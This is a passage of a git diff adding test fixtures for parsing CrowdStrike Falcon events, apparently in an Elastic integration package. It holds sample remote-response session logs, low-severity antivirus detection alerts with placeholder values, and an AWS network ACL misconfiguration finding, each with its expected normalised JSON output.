+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "user": [
+                    "Crowdstrike"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "Crowdstrike"
+            }
+        },
+        {
+            "@timestamp": "2020-07-17T17:14:53.000Z",
+            "crowdstrike": {
+                "event": {
+                    "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e"
+                },
+                "metadata": {
+                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "eventType": "RemoteResponseSessionStartEvent",
+                    "offset": 57217,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "remote_response_session_start_event"
+                ],
+                "category": [
+                    "network",
+                    "session"
+                ],
+                "created": "2020-07-17T17:14:53.000Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 57217,\n        \"eventType\": \"RemoteResponseSessionStartEvent\",\n        \"eventCreationTime\": 1595006093000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"SessionId\": \"330633db-1cda-4355-b0d8-2c2edc91fe3e\",\n        \"HostnameField\": \"TESTDEVICE01\",\n        \"UserName\": \"first.last@company.com\",\n        \"StartTimestamp\": 1595006093\n    }\n}",
+                "start": "2020-07-17T17:14:53.000Z",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "name": "TESTDEVICE01"
+            },
+            "message": "Remote response session started.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "TESTDEVICE01"
+                ],
+                "user": [
+                    "first.last",
+                    "first.last@company.com"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "first.last@company.com",
+                "name": "first.last"
+            }
+        },
+        {
+            "@timestamp": "2020-07-17T17:28:19.000Z",
+            "crowdstrike": {
+                "event": {
+                    "Commands": [
+                        "cd \\Program Files (x86)\\Symantec",
+                        "ls .",
+                        "cd \\Program Files (x86)",
+                        "ls .",
+                        "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default",
+                        "reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```",
+                        "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default",
+                        "restart",
+                        "restart -Confirm"
+                    ],
+                    "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e"
+                },
+                "metadata": {
+                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "eventType": "RemoteResponseSessionEndEvent",
+                    "offset": 57269,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "remote_response_session_end_event"
+                ],
+                "category": [
+                    "network",
+                    "session"
+                ],
+                "created": "2020-07-17T17:28:19.000Z",
+                "end": "2020-07-17T17:28:19.000Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 57269,\n        \"eventType\": \"RemoteResponseSessionEndEvent\",\n        \"eventCreationTime\": 1595006899000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"SessionId\": \"330633db-1cda-4355-b0d8-2c2edc91fe3e\",\n        \"HostnameField\": \"TESTDEVICE01\",\n        \"UserName\": \"first.last@company.com\",\n        \"EndTimestamp\": 1595006899,\n        \"Commands\": [\n            \"cd \\\\Program Files (x86)\\\\Symantec\",\n            \"ls .\",\n            \"cd \\\\Program Files (x86)\",\n            \"ls .\",\n            \"reg query HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CrowdStrike\\\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\\\{16e0423f-7058-48c9-a204-725362b67639}\\\\Default\",\n            \"reg set HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CrowdStrike\\\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\\\{16e0423f-7058-48c9-a204-725362b67639}\\\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```\",\n            \"reg query HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CrowdStrike\\\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\\\{16e0423f-7058-48c9-a204-725362b67639}\\\\Default\",\n            \"restart\",\n            \"restart -Confirm\"\n        ]\n    }\n}",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "name": "TESTDEVICE01"
+            },
+            "message": "Remote response session ended.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "TESTDEVICE01"
+                ],
+                "user": [
+                    "first.last",
+                    "first.last@company.com"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "first.last@company.com",
+                "name": "first.last"
+            }
+        },
+        {
+            "@timestamp": "2020-07-17T16:11:31.000Z",
+            "crowdstrike": {
+                "event": {
+                    "ExecutablesWritten": [
+                        {
+                            "FileName": "NEURO_200_J1939Configuration.mexw64",
+                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
+                            "Timestamp": 1595002290
+                        },
+                        {
+                            "FileName": "NEURO_200_J1939Configuration.mexw64",
+                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
+                            "Timestamp": 1595002290
+                        },
+                        {
+                            "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
+                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
+                            "Timestamp": 1595002290
+                        },
+                        {
+                            "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
+                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
+                            "Timestamp": 1595002290
+                        }
+                    ],
+                    "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe",
+                    "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe",
+                    "IOCType": "hash_sha256",
+                    "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
+                    "MACAddress": "54-ad-d4-d2-a8-0b",
+                    "Objective": "Falcon Detection Method",
+                    "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe",
+                    "PatternDispositionFlags": {
+                        "BootupSafeguardEnabled": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": true,
+                        "ProcessBlocked": true,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false
+                    },
+                    "PatternDispositionValue": 2304,
+                    "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0",
+                    "Severity": 2,
+                    "SeverityName": "Low"
+                },
+                "metadata": {
+                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "eventType": "DetectionSummaryEvent",
+                    "offset": 57047,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, process would have been blocked if related prevention policy setting was enabled.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2020-07-17T16:11:31.000Z",
+                "kind": "alert",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 57047,\n        \"eventType\": \"DetectionSummaryEvent\",\n        \"eventCreationTime\": 1595002291000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"ProcessStartTime\": 1595002290,\n        \"ProcessEndTime\": 1595002290,\n        \"ProcessId\": 663790158277,\n        \"ParentProcessId\": 627311656469,\n        \"ComputerName\": \"TESTDEVICE01\",\n        \"UserName\": \"First.last\",\n        \"DetectName\": \"NGAV\",\n        \"DetectDescription\": \"This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.\",\n        \"Severity\": 2,\n        \"SeverityName\": \"Low\",\n        \"FileName\": \"filename.exe\",\n        \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\",\n        \"CommandLine\": \"\\\"C:\\\\ProgramData\\\\file\\\\path\\\\filename.exe\\\" \",\n        \"SHA256String\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n        \"MD5String\": \"0ab1235adca04aef6239f5496ef0a5df\",\n        \"SHA1String\": \"0000000000000000000000000000000000000000\",\n        \"MachineDomain\": \"NA\",\n        \"ExecutablesWritten\": [\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            },\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            },\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            },\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            }\n        ],\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p\",\n        \"SensorId\": \"1abcd2345b8c4151a0cb45dcfbe6d3d0\",\n        \"IOCType\": \"hash_sha256\",\n        \"IOCValue\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n        \"DetectId\": \"ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719\",\n        \"LocalIP\": \"10.1.190.117\",\n        \"MACAddress\": \"54-ad-d4-d2-a8-0b\",\n        \"Tactic\": \"Machine Learning\",\n        \"Technique\": \"Sensor-based ML\",\n        \"Objective\": \"Falcon Detection Method\",\n        \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n        \"PatternDispositionValue\": 2304,\n        \"PatternDispositionFlags\": {\n            \"Indicator\": false,\n            \"Detect\": false,\n            \"InddetMask\": false,\n            \"SensorOnly\": false,\n            \"Rooting\": false,\n            \"KillProcess\": false,\n            \"KillSubProcess\": false,\n            \"QuarantineMachine\": false,\n            \"QuarantineFile\": false,\n            \"PolicyDisabled\": true,\n            \"KillParent\": false,\n            \"OperationBlocked\": false,\n            \"ProcessBlocked\": true,\n            \"RegistryOperationBlocked\": false,\n            \"CriticalProcessDisabled\": false,\n            \"BootupSafeguardEnabled\": false,\n            \"FsOperationBlocked\": false\n        },\n        \"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\explorer.exe\",\n        \"ParentCommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n        \"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\userinit.exe\",\n        \"GrandparentCommandLine\": \"C:\\\\Windows\\\\system32\\\\userinit.exe\"\n    }\n}",
+                "reference": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "0ab1235adca04aef6239f5496ef0a5df",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb"
+                },
+                "name": "filename.exe",
+                "path": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path"
+            },
+            "host": {
+                "name": "TESTDEVICE01"
+            },
+            "message": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "\"C:\\ProgramData\\file\\path\\filename.exe\""
+                ],
+                "command_line": "\"C:\\ProgramData\\file\\path\\filename.exe\"",
+                "end": "2020-07-17T16:11:30.000Z",
+                "entity_id": "663790158277",
+                "executable": "\"C:\\ProgramData\\file\\path\\filename.exe\"",
+                "name": "filename.exe",
+                "parent": {
+                    "args": [
+                        "C:\\Windows\\Explorer.EXE"
+                    ],
+                    "command_line": "C:\\Windows\\Explorer.EXE",
+                    "entity_id": "627311656469",
+                    "executable": "C:\\Windows\\Explorer.EXE",
+                    "pid": 627311656469
+                },
+                "pid": 663790158277,
+                "start": "2020-07-17T16:11:30.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
+                    "0ab1235adca04aef6239f5496ef0a5df"
+                ],
+                "hosts": [
+                    "TESTDEVICE01"
+                ],
+                "ip": [
+                    "10.1.190.117"
+                ],
+                "user": [
+                    "First.last"
+                ]
+            },
+            "rule": {
+                "description": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
+                "id": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719",
+                "name": "NGAV"
+            },
+            "source": {
+                "ip": "10.1.190.117"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Machine Learning"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Sensor-based ML"
+                    ]
+                }
+            },
+            "user": {
+                "name": "First.last"
+            }
+        },
+        {
+            "@timestamp": "2020-07-17T16:11:31.000Z",
+            "crowdstrike": {
+                "event": {
+                    "ExecutablesWritten": [
+                        {
+                            "FileName": "NEURO_200_J1939Configuration.mexw64",
+                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
+                            "Timestamp": 1595002290
+                        },
+                        {
+                            "FileName": "NEURO_200_J1939Configuration.mexw64",
+                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
+                            "Timestamp": 1595002290
+                        },
+                        {
+                            "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
+                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
+                            "Timestamp": 1595002290
+                        },
+                        {
+                            "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
+                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
+                            "Timestamp": 1595002290
+                        }
+                    ],
+                    "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe",
+                    "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe",
+                    "IOCType": "hash_sha256",
+                    "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
+                    "MACAddress": "54-ad-d4-d2-a8-0b",
+                    "MitreAttack": [
+                        {
+                            "Tactic": "Machine Learning",
+                            "Technique": "Sensor-based ML"
+                        }
+                    ],
+                    "Objective": "Falcon Detection Method",
+                    "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe",
+                    "PatternDispositionFlags": {
+                        "BootupSafeguardEnabled": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": true,
+                        "ProcessBlocked": true,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false
+                    },
+                    "PatternDispositionValue": 2304,
+                    "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0",
+                    "Severity": 2,
+                    "SeverityName": "Low"
+                },
+                "metadata": {
+                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "eventType": "DetectionSummaryEvent",
+                    "offset": 57047,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, process would have been blocked if related prevention policy setting was enabled.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2020-07-17T16:11:31.000Z",
+                "kind": "alert",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 57047,\n        \"eventType\": \"DetectionSummaryEvent\",\n        \"eventCreationTime\": 1595002291000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"ProcessStartTime\": 1595002290,\n        \"ProcessEndTime\": 1595002290,\n        \"ProcessId\": 663790158277,\n        \"ParentProcessId\": 627311656469,\n        \"ComputerName\": \"TESTDEVICE01\",\n        \"UserName\": \"First.last\",\n        \"DetectName\": \"NGAV\",\n        \"DetectDescription\": \"This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.\",\n        \"Severity\": 2,\n        \"SeverityName\": \"Low\",\n        \"FileName\": \"filename.exe\",\n        \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\",\n        \"CommandLine\": \"\\\"C:\\\\ProgramData\\\\file\\\\path\\\\filename.exe\\\" \",\n        \"SHA256String\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n        \"MD5String\": \"0ab1235adca04aef6239f5496ef0a5df\",\n        \"SHA1String\": \"0000000000000000000000000000000000000000\",\n        \"MachineDomain\": \"NA\",\n        \"ExecutablesWritten\": [\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            },\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            },\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            },\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            }\n        ],\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p\",\n        \"SensorId\": \"1abcd2345b8c4151a0cb45dcfbe6d3d0\",\n        \"IOCType\": \"hash_sha256\",\n        \"IOCValue\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n        \"DetectId\": \"ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719\",\n        \"LocalIP\": \"10.1.190.117\",\n        \"MACAddress\": \"54-ad-d4-d2-a8-0b\",\n        \"Tactic\": \"Machine Learning\",\n        \"Technique\": \"Sensor-based ML\",\n        \"Objective\": \"Falcon Detection Method\",\n        \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n        \"PatternDispositionValue\": 2304,\n        \"PatternDispositionFlags\": {\n            \"Indicator\": false,\n            \"Detect\": false,\n            \"InddetMask\": false,\n            \"SensorOnly\": false,\n            \"Rooting\": false,\n            \"KillProcess\": false,\n            \"KillSubProcess\": false,\n            \"QuarantineMachine\": false,\n            \"QuarantineFile\": false,\n            \"PolicyDisabled\": true,\n            \"KillParent\": false,\n            \"OperationBlocked\": false,\n            \"ProcessBlocked\": true,\n            \"RegistryOperationBlocked\": false,\n            \"CriticalProcessDisabled\": false,\n            \"BootupSafeguardEnabled\": false,\n            \"FsOperationBlocked\": false\n        },\n        \"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\explorer.exe\",\n        \"ParentCommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n        \"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\userinit.exe\",\n        \"GrandparentCommandLine\": \"C:\\\\Windows\\\\system32\\\\userinit.exe\",\n        \"MitreAttack\": [\n            {\n                \"Tactic\": \"Machine Learning\",\n                \"Technique\": \"Sensor-based ML\"\n            }\n        ]\n    }\n}",
+                "reference": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "0ab1235adca04aef6239f5496ef0a5df",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb"
+                },
+                "name": "filename.exe",
+                "path": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path"
+            },
+            "host": {
+                "name": "TESTDEVICE01"
+            },
+            "message": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "\"C:\\ProgramData\\file\\path\\filename.exe\""
+                ],
+                "command_line": "\"C:\\ProgramData\\file\\path\\filename.exe\"",
+                "end": "2020-07-17T16:11:30.000Z",
+                "entity_id": "663790158277",
+                "executable": "\"C:\\ProgramData\\file\\path\\filename.exe\"",
+                "name": "filename.exe",
+                "parent": {
+                    "args": [
+                        "C:\\Windows\\Explorer.EXE"
+                    ],
+                    "command_line": "C:\\Windows\\Explorer.EXE",
+                    "entity_id": "627311656469",
+                    "executable": "C:\\Windows\\Explorer.EXE",
+                    "pid": 627311656469
+                },
+                "pid": 663790158277,
+                "start": "2020-07-17T16:11:30.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
+                    "0ab1235adca04aef6239f5496ef0a5df"
+                ],
+                "hosts": [
+                    "TESTDEVICE01"
+                ],
+                "ip": [
+                    "10.1.190.117"
+                ],
+                "user": [
+                    "First.last"
+                ]
+            },
+            "rule": {
+                "description": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
+                "id": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719",
+                "name": "NGAV"
+            },
+            "source": {
+                "ip": "10.1.190.117"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Machine Learning"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Sensor-based ML"
+                    ]
+                }
+            },
+            "user": {
+                "name": "First.last"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log
new file mode 100644
index 0000000000..898afc6415
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log
@@ -0,0 +1,31 @@
+{
+	"metadata": {
+
+		"customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
+		"offset": 54712611,
+		"eventType": "CSPMSearchStreamingEvent",
+		"eventCreationTime": 1663009688832,
+		"version": "1.0"
+	},
+	"event": {
+		"AccountId": "XXXXXXXXXXXX",
+		"Region": "us-west-2",
+		"ResourceId": "i-0108fce80eXXXXXXX",
+		"ResourceIdType": "Instance Id",
+		"ResourceName": "",
+		"ResourceCreateTime": 0,
+		"PolicyStatement": "EC2 NACL configured for global ingress",
+		"PolicyId": 26,
+		"Severity": 1,
+		"SeverityName": "High",
+		"CloudPlatform": "AWS",
+		"CloudService": "EC2",
+		"Disposition": "Failed",
+		"ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX",
+		"Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All",
+		"ResourceAttributes": "{\"ACL ID\": \"acl - 005e6 bb98e75ac17e\",\"VPC ID\": \"vpc - 0e886040 c27d9f526\",\"Platform\": \"Linux\",\"Instance ID\": \"i - 0108 fce80eXXXXXXX\",\"Launch Time\": \"2022 - 09 - 12 17: 11: 06 + 00\",\"Instance State\": \"running\"}",
+		"Tags": "SensorGroupingTags/TEACHER, SensorGroupingTags/XYZ, 321, 1111",
+		"ReportUrl": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2",
+		"Timestamp": 1663009688832
+	}
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json
new file mode 100644
index 0000000000..d88d9aef3d
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json
@@ -0,0 +1,73 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2022-09-12T19:08:08.832Z",
+            "cloud": {
+                "account": {
+                    "id": "XXXXXXXXXXXX"
+                },
+                "provider": "AWS",
+                "region": "us-west-2",
+                "service": {
+                    "name": "EC2"
+                }
+            },
+            "crowdstrike": {
+                "event": {
+                    "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All",
+                    "PolicyId": 26,
+                    "ResourceAttributes": {
+                        "ACL ID": "acl - 005e6 bb98e75ac17e",
+                        "Instance ID": "i - 0108 fce80eXXXXXXX",
+                        "Instance State": "running",
+                        "Launch Time": "2022 - 09 - 12 17: 11: 06 + 00",
+                        "Platform": "Linux",
+                        "VPC ID": "vpc - 0e886040 c27d9f526"
+                    },
+                    "ResourceId": "i-0108fce80eXXXXXXX",
+                    "ResourceIdType": "Instance Id",
+                    "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX",
+                    "Severity": 1,
+                    "SeverityName": "High",
+                    "Timestamp": 1663009688832
+                },
+                "metadata": {
+                    "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
+                    "eventType": "CSPMSearchStreamingEvent",
+                    "offset": 54712611,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "configuration"
+                ],
+                "created": "2022-09-12T19:08:08.832Z",
+                "kind": "alert",
